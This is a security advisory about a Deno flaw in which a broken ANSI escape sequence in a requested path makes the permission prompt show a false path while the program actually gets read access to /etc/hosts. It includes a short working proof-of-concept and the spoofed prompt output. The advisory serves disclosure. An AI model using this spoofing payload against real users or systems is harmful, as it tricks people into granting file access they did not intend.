A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.
In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.
For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts
as a path will display the /tmp/hellotc/hosts
in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts
, which is /etc/hosts
after the normalization.
This difference allows a malicious Deno program to spoof the contents of the permission prompt.
Run the following JavaScript and observe that /tmp/hellotc/hosts
is displayed in the permission prompt instead of /etc/hosts
, although Deno gives access to /etc/hosts
.
const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));
┌ ⚠️ Deno requests read access to "/etc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.
{ "nvd_published_at": "2024-03-21T02:52:22Z", "cwe_ids": [ "CWE-150" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-05T20:54:14Z" }